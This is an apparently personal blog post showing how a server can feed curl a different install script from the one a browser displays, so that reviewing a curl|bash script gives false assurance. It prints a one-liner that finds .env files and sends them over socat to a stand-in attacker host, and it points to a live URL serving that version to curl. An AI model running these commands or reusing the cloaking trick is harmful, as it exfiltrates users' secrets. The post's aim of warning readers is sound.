Most linux users are probably familiar with the curl | bash syntax. It’s used as a convenient way to download a script and immediately run it on your system. Most users are also familiar with the frequent warnings telling them that they should never do that.
You might be thinking, though: “I’m safe. I always check the source first, so I know what it’s going to do before I run it.”
…but what if the source was lying to you?
curl | bash
The curl|bash combo is a common tool for install scripts and is frequently seen in the homelab/self-hosting community. It is particularly common with home Proxmox users, thanks to the incredibly popular Proxmox Help Scripts site.
A website might provide an install command like curl -s k3can.us/curl.sh | bash, with instructions to just copy and paste it into a terminal. Some users might blindly follow that direction, but a more cautious user might first paste the url into the address bar of their web browser to see what the script looks like before running it.
In the case of the command provided above, the script downloaded by the web browser will look like this:
#This is the content when accessed in most situations.
echo "a totally safe script"
Having reviewed the script and deeming it safe, they’ll then go ahead and paste the whole curl|bash command into their terminal.
Except… Despite copy-pasting the exact same url, the script now being fed into bash is completely different from what they just reviewed:
#This is the content when accessed by curl
find / -iname "*.env*" -print0 | tar -cvf - --null -T - | socat -u - TCP4:1337h4x0r.tld:42069
Oops! They just sent “1337 h4x0r” all of their .env files!
How it works
So what gives? How can one url return two different scripts?
There are probably many ways to produce this effect, but in my case, I’m using the client’s User-Agent to determine which script the server should return. If it looks like a UA associated with curl, it will return the malicious script; any other UA will return the benign script.
This isn’t a sophisticated attack, rather it’s the simplicity makes it so effective. It’s such a easy trick to pull off that even compromising a couple of users could easily be worth the minimal effort. As curl|bash continues to become normalized as an install method across many open source projects, the opportunity for abuse grows substantially.
My sample script above attempts to quickly exfiltrate any .env files found on the client’s system, hoping for passwords or other sensitive data1. Realistically, though, the sky is the limit. The script has access to anything that the user running it does, including the user’s personal files. If the user can be tricked into running the script as root2, the entire system becomes vulnerable. It could install malware, steal files, or even encrypt the system and hold it for ransom.
Conclusion
With this all in mind, even if you think the source is safe, always consider taking these precautions when faced with curl|bash instructions:
- Download the script
- Review the script
- If deemed safe, run the downloaded script instead of fetching it again with
curl|bash.
Those steps will help ensure that what you’re truly running the exact same code that you just reviewed.
If you’d like to try this experiment for yourself, the url k3can.us/curl.sh is live as of the time of this posting. Downloading the script from a browser or even via wget should give you the nice version; downloading it via curl should give you the evil version.
This should go without saying, but DO NOT PIPE IT INTO BASH.
Since this trick only uses the User-Agent, you can actually get both versions using curl if you manually set curl’s user-agent string. Always running curl with an alternative UA should not be considered a sufficient defense against this style of attack, however.
Hopefully you enjoyed my brief demonstration and perhaps you’ll reconsider the next time you see curl|bash used as an install method for a fun new project.
Until next time, netizens.